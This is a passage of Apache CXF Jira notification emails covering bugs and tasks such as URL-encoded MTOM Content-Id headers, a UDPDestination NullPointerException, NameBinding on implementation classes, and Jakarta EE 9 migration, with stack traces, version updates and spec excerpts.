> https://github.com/apache/cxf/blob/2ad9d0b2eef17c0d57d3cb96f3b2cecd1e704869/core/src/main/java/org/apache/cxf/attachment/AttachmentUtil.java#L230
> which results in `uuid@urn:xml:namespace` on some inputs.
> This input leads to the Header being URL encoded.
> Issues with this header are known for a while
> https://issues.apache.org/jira/browse/CXF-2669
> What's important is how do the SOAP servers treat URL-encoded `Content-Id`.
> In my experience, IRS.gov does not match
> {noformat}
> Content-ID:
> <3315f978-0190-4bc2-8a97-f766a78a7946-1@urn%3Aus%3Agov%3Atreasury%3Airs%3Acommon>
> with previously defined reference{noformat}
> {noformat}
> http://www.w3.org/2004/08/xop/include;
> href="cid:3315f978-0190-4bc2-8a97-f766a78a7946-1@urn%3Aus%3Agov%3Atreasury%3Airs%3Acommon"/>
> which is basically the same and _should_ match.{noformat}
> That said, it's well-known issue in the wild
> 1. https://access.redhat.com/solutions/2062163
> 2. https://access.redhat.com/solutions/4076871
> The latter points to the fact that there should be no URL-encoded symbols in
> `Content-Id`, which is met by @reta's commit.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8799) Unxepected URLEncode in MTOM Content-Id
[ https://issues.apache.org/jira/browse/CXF-8799?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8799: -- Affects Version/s: 3.4.9 3.5.4 > Unxepected URLEncode in MTOM Content-Id > --- > > Key: CXF-8799 > URL: https://issues.apache.org/jira/browse/CXF-8799 > Project: CXF > Issue Type: Bug >Affects Versions: 3.5.4, 3.4.9 >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8799) Unxepected URLEncode in MTOM Content-Id
[ https://issues.apache.org/jira/browse/CXF-8799?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8799: -- Fix Version/s: 4.0.0 3.6.0 3.5.5 3.4.10 > Unxepected URLEncode in MTOM Content-Id > --- > > Key: CXF-8799 > URL: https://issues.apache.org/jira/browse/CXF-8799 > Project: CXF > Issue Type: Bug >Affects Versions: 3.5.4, 3.4.9 >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0, 3.6.0, 3.5.5, 3.4.10 > > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Assigned] (CXF-8799) Unxepected URLEncode in MTOM Content-Id
[ https://issues.apache.org/jira/browse/CXF-8799?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko reassigned CXF-8799: - Assignee: (was: Andriy Redko) > Unxepected URLEncode in MTOM Content-Id > --- > > Key: CXF-8799 > URL: https://issues.apache.org/jira/browse/CXF-8799 > Project: CXF > Issue Type: Bug >Affects Versions: 3.5.4, 3.4.9 >Reporter: Andriy Redko >Priority: Major > Fix For: 4.0.0, 3.6.0, 3.5.5, 3.4.10 > > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Created] (CXF-8799) Unxepected URLEncode in MTOM Content-Id
Andriy Redko created CXF-8799: - Summary: Unxepected URLEncode in MTOM Content-Id Key: CXF-8799 URL: https://issues.apache.org/jira/browse/CXF-8799 Project: CXF Issue Type: Bug Reporter: Andriy Redko Assignee: Andriy Redko -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Commented] (CXF-8371) Support Jakarta EE 9.0+
[
https://issues.apache.org/jira/browse/CXF-8371?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=17638741#comment-17638741
]
Andriy Redko commented on CXF-8371:
---
[~dkf] [~bmarwell] getting there, please check
https://www.mail-archive.com/dev@cxf.apache.org/msg18351.html
> Support Jakarta EE 9.0+
> ---
>
> Key: CXF-8371
> URL: https://issues.apache.org/jira/browse/CXF-8371
> Project: CXF
> Issue Type: Task
>Reporter: Andriy Redko
>Assignee: Andriy Redko
>Priority: Major
> Fix For: 4.0.0
>
>
> |*Jakarta EE 9 is NOT BACKWARD COMPATIBLE with Java EE 8*|
> Understanding Jakarta EE 9: [http://blog.supol.cz/?p=202]
> Tooling:
> - Eclipse Transformer:
> - [https://github.com/eclipse/transformer/]
> - [https://projects.eclipse.org/projects/technology.transformer]
> Risks & Deps:
> - Spring: [https://github.com/spring-projects/spring-framework/issues/25354]
>
> [https://spring.io/blog/2021/12/16/spring-framework-6-0-m1-released]
> The path other projects have taken (majority went with 2 release branches):
> - Hibernate Validator 6.2.x / javax.* and 7.x / jakarta.*
> ([https://in.relation.to/2021/01/06/hibernate-validator-700-62-final-released/)]
> - {color:#00}Tomcat 9 / javax.* and 10{color} / jakarta.*
> ([https://cwiki.apache.org/confluence/display/TOMCAT/Jakarta+EE+Release+Numbering])
> - Jetty 10 {color:#00}/ javax.*{color} and 11 / jakarta.*
> ([https://webtide.com/jetty-10-and-11-have-arrived/])
> - ActiveMQ
> [https://blogs.apache.org/activemq/entry/activemq-artemis-embraces-jakarta-ee]
>
> The blockers:
> - Swagger v1 / v2
> - Project Grizzly ([https://javaee.github.io/grizzly/)]
> - Jetty Continuations
> ([https://github.com/eclipse/jetty.project/issues/4934)] is gone
> - Jakarta WebSocket (including Jetty WebSocket)
> - Jackson
> - ActiveMQ
> ([https://blogs.apache.org/activemq/entry/activemq-artemis-embraces-jakarta-ee])
> to Artemis
> - Brave / Opentracing
> - Atmosphere
> - Weld / OpenWebBeans
> - OSGi / Apache Karaf (https://issues.apache.org/jira/browse/FELIX-6389)
> - jaxb2-basics(https://github.com/highsource/jaxb2-basics
> Microprofile:
> - [https://github.com/eclipse/microprofile-rest-client/pull/319]
> -
> [https://github.com/eclipse/microprofile-rest-client/releases/tag/3.0-RC2|https://github.com/eclipse/microprofile-rest-client/releases/tag/3.0-RC1]
> - [https://github.com/eclipse/microprofile-open-api/releases/tag/3.0-RC1]
> - [https://microprofile.io/2021/12/07/microprofile-5-0-release/]
>
> Jakarta EE Platform 9.1 specs (used by CXF):
> - Jakarta Activation 2.0
> - Jakarta Annotations 2.0
> - Jakarta Bean Validation 3.0
> - Jakarta Connectors 2.0
> - Jakarta Contexts and Dependency Injection 3.0
> - Jakarta Dependency Injection 2.0
> - Jakarta Enterprise Beans 4.0
> - Jakarta Enterprise Web Services 2.0 (Optional)
> - Jakarta Expression Language 4.0
> - Jakarta Interceptors 2.0
> - Jakarta JSON Binding 2.0
> - Jakarta JSON Processing 2.0
> - Jakarta Mail 2.0
> - Jakarta Messaging 3.0
> - Jakarta Persistence 3.0
> - Jakarta RESTful Web Services 3.0
> - Jakarta Security 2.0
> - Jakarta Servlet 5.0
> - Jakarta SOAP with Attachments 2.0 (Optional)
> - Jakarta Transactions 2.0
> - Jakarta WebSocket 2.0
> - Jakarta Web Services Metadata 3.0 (Optional)
> - Jakarta XML Binding 3.0 (Optional)
> - Jakarta XML Web Services 3.0 (Optional)
> Jakarta EE Platform TCK 9.0.1:
> - [https://github.com/jakartaee/specifications/issues/321]
> - [https://github.com/eclipse-ee4j/jakartaee-platform/wiki/JakartaEE9]
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8798) UDPDestination throws NPE under some conditions
[
https://issues.apache.org/jira/browse/CXF-8798?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8798:
--
Fix Version/s: 4.0.0
3.6.0
3.5.5
3.4.10
> UDPDestination throws NPE under some conditions
> ---
>
> Key: CXF-8798
> URL: https://issues.apache.org/jira/browse/CXF-8798
> Project: CXF
> Issue Type: Bug
>Affects Versions: 3.5.4, 3.4.9
>Reporter: Andriy Redko
>Priority: Major
> Fix For: 4.0.0, 3.6.0, 3.5.5, 3.4.10
>
>
> {noformat}
> javax.xml.ws.WebServiceException: java.lang.NullPointerException
> at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:373)
> at org.apache.cxf.jaxws.EndpointImpl.publish(EndpointImpl.java:255)
> at
> org.apache.cxf.ws.discovery.internal.WSDiscoveryServiceImpl.startup(WSDiscoveryServiceImpl.java:258)
> at
> org.apache.cxf.ws.discovery.internal.WSDiscoveryServiceImpl.serverStarted(WSDiscoveryServiceImpl.java:153)
> at
> org.apache.cxf.ws.discovery.listeners.WSDiscoveryServerListener.startServer(WSDiscoveryServerListener.java:73)
> at
> org.apache.cxf.bus.managers.ServerLifeCycleManagerImpl.startServer(ServerLifeCycleManagerImpl.java:61)
> at org.apache.cxf.endpoint.ServerImpl.start(ServerImpl.java:150)
> at
> org.apache.cxf.frontend.ServerFactoryBean.create(ServerFactoryBean.java:220)
> at
> org.apache.cxf.jaxws.JaxWsServerFactoryBean.create(JaxWsServerFactoryBean.java:211)
> Caused by: java.lang.NullPointerException: null
> at
> org.apache.cxf.transport.udp.UDPDestination.findNetworkInterface(UDPDestination.java:205)
> at
> org.apache.cxf.transport.udp.UDPDestination.activate(UDPDestination.java:169)
> at
> org.apache.cxf.transport.AbstractObservable.setMessageObserver(AbstractObservable.java:53)
> at
> org.apache.cxf.binding.AbstractBindingFactory.addListener(AbstractBindingFactory.java:95)
> at
> org.apache.cxf.binding.soap.SoapBindingFactory.addListener(SoapBindingFactory.java:894)
> at org.apache.cxf.endpoint.ServerImpl.start(ServerImpl.java:130)
> at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:364)
> {noformat}
> * Protect against a null pointer when running on a Windows 11 PC on a
> corporate VPN
> * Null pointer caused by interface "TAP-Windows Adaptor V9
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8798) UDPDestination throws NPE at some conditions
[
https://issues.apache.org/jira/browse/CXF-8798?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8798:
--
Description:
{noformat}
javax.xml.ws.WebServiceException: java.lang.NullPointerException
at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:373)
at org.apache.cxf.jaxws.EndpointImpl.publish(EndpointImpl.java:255)
at
org.apache.cxf.ws.discovery.internal.WSDiscoveryServiceImpl.startup(WSDiscoveryServiceImpl.java:258)
at
org.apache.cxf.ws.discovery.internal.WSDiscoveryServiceImpl.serverStarted(WSDiscoveryServiceImpl.java:153)
at
org.apache.cxf.ws.discovery.listeners.WSDiscoveryServerListener.startServer(WSDiscoveryServerListener.java:73)
at
org.apache.cxf.bus.managers.ServerLifeCycleManagerImpl.startServer(ServerLifeCycleManagerImpl.java:61)
at org.apache.cxf.endpoint.ServerImpl.start(ServerImpl.java:150)
at
org.apache.cxf.frontend.ServerFactoryBean.create(ServerFactoryBean.java:220)
at
org.apache.cxf.jaxws.JaxWsServerFactoryBean.create(JaxWsServerFactoryBean.java:211)
Caused by: java.lang.NullPointerException: null
at
org.apache.cxf.transport.udp.UDPDestination.findNetworkInterface(UDPDestination.java:205)
at
org.apache.cxf.transport.udp.UDPDestination.activate(UDPDestination.java:169)
at
org.apache.cxf.transport.AbstractObservable.setMessageObserver(AbstractObservable.java:53)
at
org.apache.cxf.binding.AbstractBindingFactory.addListener(AbstractBindingFactory.java:95)
at
org.apache.cxf.binding.soap.SoapBindingFactory.addListener(SoapBindingFactory.java:894)
at org.apache.cxf.endpoint.ServerImpl.start(ServerImpl.java:130)
at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:364)
{noformat}
* Protect against a null pointer when running on a Windows 11 PC on a
corporate VPN
* Null pointer caused by interface "TAP-Windows Adaptor V9
was:
{noformat}
javax.xml.ws.WebServiceException: java.lang.NullPointerException
at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:373)
at org.apache.cxf.jaxws.EndpointImpl.publish(EndpointImpl.java:255)
at
org.apache.cxf.ws.discovery.internal.WSDiscoveryServiceImpl.startup(WSDiscoveryServiceImpl.java:258)
at
org.apache.cxf.ws.discovery.internal.WSDiscoveryServiceImpl.serverStarted(WSDiscoveryServiceImpl.java:153)
at
org.apache.cxf.ws.discovery.listeners.WSDiscoveryServerListener.startServer(WSDiscoveryServerListener.java:73)
at
org.apache.cxf.bus.managers.ServerLifeCycleManagerImpl.startServer(ServerLifeCycleManagerImpl.java:61)
at org.apache.cxf.endpoint.ServerImpl.start(ServerImpl.java:150)
at
org.apache.cxf.frontend.ServerFactoryBean.create(ServerFactoryBean.java:220)
at
org.apache.cxf.jaxws.JaxWsServerFactoryBean.create(JaxWsServerFactoryBean.java:211)
Caused by: java.lang.NullPointerException: null
at
org.apache.cxf.transport.udp.UDPDestination.findNetworkInterface(UDPDestination.java:205)
at
org.apache.cxf.transport.udp.UDPDestination.activate(UDPDestination.java:169)
at
org.apache.cxf.transport.AbstractObservable.setMessageObserver(AbstractObservable.java:53)
at
org.apache.cxf.binding.AbstractBindingFactory.addListener(AbstractBindingFactory.java:95)
at
org.apache.cxf.binding.soap.SoapBindingFactory.addListener(SoapBindingFactory.java:894)
at org.apache.cxf.endpoint.ServerImpl.start(ServerImpl.java:130)
at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:364)
{noformat}
> UDPDestination throws NPE at some conditions
>
>
> Key: CXF-8798
> URL: https://issues.apache.org/jira/browse/CXF-8798
> Project: CXF
> Issue Type: Bug
>Reporter: Andriy Redko
>Priority: Major
>
> {noformat}
> javax.xml.ws.WebServiceException: java.lang.NullPointerException
> at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:373)
> at org.apache.cxf.jaxws.EndpointImpl.publish(EndpointImpl.java:255)
> at
> org.apache.cxf.ws.discovery.internal.WSDiscoveryServiceImpl.startup(WSDiscoveryServiceImpl.java:258)
> at
> org.apache.cxf.ws.discovery.internal.WSDiscoveryServiceImpl.serverStarted(WSDiscoveryServiceImpl.java:153)
> at
> org.apache.cxf.ws.discovery.listeners.WSDiscoveryServerListener.startServer(WSDiscoveryServerListener.java:73)
> at
> org.apache.cxf.bus.managers.ServerLifeCycleManagerImpl.startServer(ServerLifeCycleManagerImpl.java:61)
> at org.apache.cxf.endpoint.ServerImpl.start(ServerImpl.java:150)
> at
> org.apache.cxf.frontend.ServerFactoryBean.create(ServerFactoryBean.java:220)
> at
> org.apache.cxf.jaxws.JaxWsServerFactoryBean.create(JaxWsServerFactoryBean.java:211)
> Caused by: java.lang.NullPointerException: null
> at
>
[jira] [Updated] (CXF-8798) UDPDestination throws NPE under some conditions
[
https://issues.apache.org/jira/browse/CXF-8798?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8798:
--
Summary: UDPDestination throws NPE under some conditions (was:
UDPDestination throws NPE at some conditions)
> UDPDestination throws NPE under some conditions
> ---
>
> Key: CXF-8798
> URL: https://issues.apache.org/jira/browse/CXF-8798
> Project: CXF
> Issue Type: Bug
>Reporter: Andriy Redko
>Priority: Major
>
> {noformat}
> javax.xml.ws.WebServiceException: java.lang.NullPointerException
> at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:373)
> at org.apache.cxf.jaxws.EndpointImpl.publish(EndpointImpl.java:255)
> at
> org.apache.cxf.ws.discovery.internal.WSDiscoveryServiceImpl.startup(WSDiscoveryServiceImpl.java:258)
> at
> org.apache.cxf.ws.discovery.internal.WSDiscoveryServiceImpl.serverStarted(WSDiscoveryServiceImpl.java:153)
> at
> org.apache.cxf.ws.discovery.listeners.WSDiscoveryServerListener.startServer(WSDiscoveryServerListener.java:73)
> at
> org.apache.cxf.bus.managers.ServerLifeCycleManagerImpl.startServer(ServerLifeCycleManagerImpl.java:61)
> at org.apache.cxf.endpoint.ServerImpl.start(ServerImpl.java:150)
> at
> org.apache.cxf.frontend.ServerFactoryBean.create(ServerFactoryBean.java:220)
> at
> org.apache.cxf.jaxws.JaxWsServerFactoryBean.create(JaxWsServerFactoryBean.java:211)
> Caused by: java.lang.NullPointerException: null
> at
> org.apache.cxf.transport.udp.UDPDestination.findNetworkInterface(UDPDestination.java:205)
> at
> org.apache.cxf.transport.udp.UDPDestination.activate(UDPDestination.java:169)
> at
> org.apache.cxf.transport.AbstractObservable.setMessageObserver(AbstractObservable.java:53)
> at
> org.apache.cxf.binding.AbstractBindingFactory.addListener(AbstractBindingFactory.java:95)
> at
> org.apache.cxf.binding.soap.SoapBindingFactory.addListener(SoapBindingFactory.java:894)
> at org.apache.cxf.endpoint.ServerImpl.start(ServerImpl.java:130)
> at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:364)
> {noformat}
> * Protect against a null pointer when running on a Windows 11 PC on a
> corporate VPN
> * Null pointer caused by interface "TAP-Windows Adaptor V9
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8798) UDPDestination throws NPE under some conditions
[
https://issues.apache.org/jira/browse/CXF-8798?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8798:
--
Affects Version/s: 3.4.9
3.5.4
> UDPDestination throws NPE under some conditions
> ---
>
> Key: CXF-8798
> URL: https://issues.apache.org/jira/browse/CXF-8798
> Project: CXF
> Issue Type: Bug
>Affects Versions: 3.5.4, 3.4.9
>Reporter: Andriy Redko
>Priority: Major
>
> {noformat}
> javax.xml.ws.WebServiceException: java.lang.NullPointerException
> at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:373)
> at org.apache.cxf.jaxws.EndpointImpl.publish(EndpointImpl.java:255)
> at
> org.apache.cxf.ws.discovery.internal.WSDiscoveryServiceImpl.startup(WSDiscoveryServiceImpl.java:258)
> at
> org.apache.cxf.ws.discovery.internal.WSDiscoveryServiceImpl.serverStarted(WSDiscoveryServiceImpl.java:153)
> at
> org.apache.cxf.ws.discovery.listeners.WSDiscoveryServerListener.startServer(WSDiscoveryServerListener.java:73)
> at
> org.apache.cxf.bus.managers.ServerLifeCycleManagerImpl.startServer(ServerLifeCycleManagerImpl.java:61)
> at org.apache.cxf.endpoint.ServerImpl.start(ServerImpl.java:150)
> at
> org.apache.cxf.frontend.ServerFactoryBean.create(ServerFactoryBean.java:220)
> at
> org.apache.cxf.jaxws.JaxWsServerFactoryBean.create(JaxWsServerFactoryBean.java:211)
> Caused by: java.lang.NullPointerException: null
> at
> org.apache.cxf.transport.udp.UDPDestination.findNetworkInterface(UDPDestination.java:205)
> at
> org.apache.cxf.transport.udp.UDPDestination.activate(UDPDestination.java:169)
> at
> org.apache.cxf.transport.AbstractObservable.setMessageObserver(AbstractObservable.java:53)
> at
> org.apache.cxf.binding.AbstractBindingFactory.addListener(AbstractBindingFactory.java:95)
> at
> org.apache.cxf.binding.soap.SoapBindingFactory.addListener(SoapBindingFactory.java:894)
> at org.apache.cxf.endpoint.ServerImpl.start(ServerImpl.java:130)
> at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:364)
> {noformat}
> * Protect against a null pointer when running on a Windows 11 PC on a
> corporate VPN
> * Null pointer caused by interface "TAP-Windows Adaptor V9
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Created] (CXF-8798) UDPDestination throws NPE at some conditions
Andriy Redko created CXF-8798:
-
Summary: UDPDestination throws NPE at some conditions
Key: CXF-8798
URL: https://issues.apache.org/jira/browse/CXF-8798
Project: CXF
Issue Type: Bug
Reporter: Andriy Redko
{noformat}
javax.xml.ws.WebServiceException: java.lang.NullPointerException
at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:373)
at org.apache.cxf.jaxws.EndpointImpl.publish(EndpointImpl.java:255)
at
org.apache.cxf.ws.discovery.internal.WSDiscoveryServiceImpl.startup(WSDiscoveryServiceImpl.java:258)
at
org.apache.cxf.ws.discovery.internal.WSDiscoveryServiceImpl.serverStarted(WSDiscoveryServiceImpl.java:153)
at
org.apache.cxf.ws.discovery.listeners.WSDiscoveryServerListener.startServer(WSDiscoveryServerListener.java:73)
at
org.apache.cxf.bus.managers.ServerLifeCycleManagerImpl.startServer(ServerLifeCycleManagerImpl.java:61)
at org.apache.cxf.endpoint.ServerImpl.start(ServerImpl.java:150)
at
org.apache.cxf.frontend.ServerFactoryBean.create(ServerFactoryBean.java:220)
at
org.apache.cxf.jaxws.JaxWsServerFactoryBean.create(JaxWsServerFactoryBean.java:211)
Caused by: java.lang.NullPointerException: null
at
org.apache.cxf.transport.udp.UDPDestination.findNetworkInterface(UDPDestination.java:205)
at
org.apache.cxf.transport.udp.UDPDestination.activate(UDPDestination.java:169)
at
org.apache.cxf.transport.AbstractObservable.setMessageObserver(AbstractObservable.java:53)
at
org.apache.cxf.binding.AbstractBindingFactory.addListener(AbstractBindingFactory.java:95)
at
org.apache.cxf.binding.soap.SoapBindingFactory.addListener(SoapBindingFactory.java:894)
at org.apache.cxf.endpoint.ServerImpl.start(ServerImpl.java:130)
at org.apache.cxf.jaxws.EndpointImpl.doPublish(EndpointImpl.java:364)
{noformat}
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8797) NameBinding ignored when implementing interface
[
https://issues.apache.org/jira/browse/CXF-8797?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8797:
--
Affects Version/s: 3.4.9
> NameBinding ignored when implementing interface
> ---
>
> Key: CXF-8797
> URL: https://issues.apache.org/jira/browse/CXF-8797
> Project: CXF
> Issue Type: Bug
> Components: JAX-RS
>Affects Versions: 3.5.4, 3.4.9
>Reporter: Jens Kleine-Herzbruch
>Assignee: Andriy Redko
>Priority: Major
>
> I have the following setup:
> 1. An interface that carries most of the JAX-RS annotations ({{@Path}},
> {{@GET}}, etc.). This interface is provided by a third party.
> 2. A service implementing this interface. This is what I'm developing myself.
> It does not carry any JAX-RS annotations itself.
> 3. A provider ({{ContainerResponseFilter}} in my case) that I now want to
> attach to some of the operations with {{@NameBinding}}.
> Obviously, I can only add the {{@NameBinding}} annotation to the
> implementation class. It looks to me like CXF is only checking against the
> interface carrying the main JAX-RS annotations at runtime, however, so the
> filter is never called.
> If I remove the NameBinding entirely and run the filter as a global filter,
> it works as expected, but of course that's not the intent here.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Assigned] (CXF-8797) NameBinding ignored when implementing interface
[
https://issues.apache.org/jira/browse/CXF-8797?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko reassigned CXF-8797:
-
Assignee: Andriy Redko
> NameBinding ignored when implementing interface
> ---
>
> Key: CXF-8797
> URL: https://issues.apache.org/jira/browse/CXF-8797
> Project: CXF
> Issue Type: Bug
> Components: JAX-RS
>Affects Versions: 3.5.4
>Reporter: Jens Kleine-Herzbruch
>Assignee: Andriy Redko
>Priority: Major
>
> I have the following setup:
> 1. An interface that carries most of the JAX-RS annotations ({{@Path}},
> {{@GET}}, etc.). This interface is provided by a third party.
> 2. A service implementing this interface. This is what I'm developing myself.
> It does not carry any JAX-RS annotations itself.
> 3. A provider ({{ContainerResponseFilter}} in my case) that I now want to
> attach to some of the operations with {{@NameBinding}}.
> Obviously, I can only add the {{@NameBinding}} annotation to the
> implementation class. It looks to me like CXF is only checking against the
> interface carrying the main JAX-RS annotations at runtime, however, so the
> filter is never called.
> If I remove the NameBinding entirely and run the filter as a global filter,
> it works as expected, but of course that's not the intent here.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (CXF-8797) NameBinding ignored when implementing interface
[
https://issues.apache.org/jira/browse/CXF-8797?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Andriy Redko updated CXF-8797:
--
Fix Version/s: 4.0.0
3.6.0
3.5.5
3.4.10
> NameBinding ignored when implementing interface
> ---
>
> Key: CXF-8797
> URL: https://issues.apache.org/jira/browse/CXF-8797
> Project: CXF
> Issue Type: Bug
> Components: JAX-RS
>Affects Versions: 3.5.4, 3.4.9
>Reporter: Jens Kleine-Herzbruch
>Assignee: Andriy Redko
>Priority: Major
> Fix For: 4.0.0, 3.6.0, 3.5.5, 3.4.10
>
>
> I have the following setup:
> 1. An interface that carries most of the JAX-RS annotations ({{@Path}},
> {{@GET}}, etc.). This interface is provided by a third party.
> 2. A service implementing this interface. This is what I'm developing myself.
> It does not carry any JAX-RS annotations itself.
> 3. A provider ({{ContainerResponseFilter}} in my case) that I now want to
> attach to some of the operations with {{@NameBinding}}.
> Obviously, I can only add the {{@NameBinding}} annotation to the
> implementation class. It looks to me like CXF is only checking against the
> interface carrying the main JAX-RS annotations at runtime, however, so the
> filter is never called.
> If I remove the NameBinding entirely and run the filter as a global filter,
> it works as expected, but of course that's not the intent here.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Commented] (CXF-8797) NameBinding ignored when implementing interface
[
https://issues.apache.org/jira/browse/CXF-8797?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel=17638439#comment-17638439
]
Andriy Redko commented on CXF-8797:
---
Thanks [~jen...@gmx.net] , it seems like there is some misalignment in
specification [1] regarding where NameBinding annotation could be placed:
*6.5.2 Name Binding*
{noformat}
These annotations are declared using the JAX-RS meta-annotation @NameBinding and
are used to decorate both the filter (or interceptor) and the resource method
or resource class.
...
Binding annotations can also be applied to resource classes and Application
subclasses. Binding annotations
that decorate resource classes apply to all resource methods defined in
them.{noformat}
*Appendix A:*
{noformat}
NameBinding - Meta-annotation to create annotations for binding filters
or interceptors to resource methods and applications.
Name binding is only supported as part of the Server API. {noformat}
*Javadoc [2]:*
{noformat}
At last, the name-binding annotation is applied to the resource method(s) to
which the
name-bound JAX-RS provider(s) should be bound to:
@Path("/")
public class MyResourceClass {
@GET
@Produces("text/plain")
@Path("{name}")
@Logged
public String hello(@PathParam("name") String name) {
return "Hello " + name;
}
}
{noformat}
The Apache CXF only supports NameBinding on operations level at the moment.
Thank you.
[1]
[https://download.oracle.com/otndocs/jcp/jaxrs-2_1-final-eval-spec/index.html]
[2]
https://javadoc.io/doc/javax.ws.rs/javax.ws.rs-api/latest/javax/ws/rs/NameBinding.html
> NameBinding ignored when implementing interface
> ---
>
> Key: CXF-8797
> URL: https://issues.apache.org/jira/browse/CXF-8797
> Project: CXF
> Issue Type: Bug
> Components: JAX-RS
>Affects Versions: 3.5.4
>Reporter: Jens Kleine-Herzbruch
>Priority: Major
>
> I have the following setup:
> 1. An interface that carries most of the JAX-RS annotations ({{@Path}},
> {{@GET}}, etc.). This interface is provided by a third party.
> 2. A service implementing this interface. This is what I'm developing myself.
> It does not carry any JAX-RS annotations itself.
> 3. A provider ({{ContainerResponseFilter}} in my case) that I now want to
> attach to some of the operations with {{@NameBinding}}.
> Obviously, I can only add the {{@NameBinding}} annotation to the
> implementation class. It looks to me like CXF is only checking against the
> interface carrying the main JAX-RS annotations at runtime, however, so the
> filter is never called.
> If I remove the NameBinding entirely and run the filter as a global filter,
> it works as expected, but of course that's not the intent here.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Resolved] (CXF-8791) Make the Spring / Spring Boot dependencies optional
[ https://issues.apache.org/jira/browse/CXF-8791?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko resolved CXF-8791. --- Resolution: Fixed > Make the Spring / Spring Boot dependencies optional > --- > > Key: CXF-8791 > URL: https://issues.apache.org/jira/browse/CXF-8791 > Project: CXF > Issue Type: Sub-task >Affects Versions: 4.0.0 >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0 > > > For Apache CXF, the Spring / Spring Boot dependencies are optional at runtime > however they are still being brought up transitively. For upcoming 4.0.0 > release this is a problem: we would like to stay on JDK-11 as a minimum > required baseline but Spring 6 / Spring Boot 3 set the JDK baseline to > JDK-17. Because of such misalignment, using Apache CXF with JDK-11 runtime > fails with "java.lang.UnsupportedClassVersionError" error, caused by the > presence of the Spring 6 / Spring Boot 3 JARs in the classpath. > The Spring / Spring Boot dependencies should be set as optional and when used > with Spring 6 / Spring Boot 3, the JDK requirements have to be documented. -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Resolved] (CXF-8794) Update to Lucene 9.4.x
[ https://issues.apache.org/jira/browse/CXF-8794?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko resolved CXF-8794. --- Resolution: Fixed > Update to Lucene 9.4.x > -- > > Key: CXF-8794 > URL: https://issues.apache.org/jira/browse/CXF-8794 > Project: CXF > Issue Type: Improvement >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0, 3.6.0 > > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8794) Update to Lucene 9.4.x
[ https://issues.apache.org/jira/browse/CXF-8794?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Andriy Redko updated CXF-8794: -- Affects Version/s: 4.0.0 3.6.0 > Update to Lucene 9.4.x > -- > > Key: CXF-8794 > URL: https://issues.apache.org/jira/browse/CXF-8794 > Project: CXF > Issue Type: Improvement >Affects Versions: 4.0.0, 3.6.0 >Reporter: Andriy Redko >Assignee: Andriy Redko >Priority: Major > Fix For: 4.0.0, 3.6.0 > > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (CXF-8791) Make the Spring / Spring Boot dependencies optional
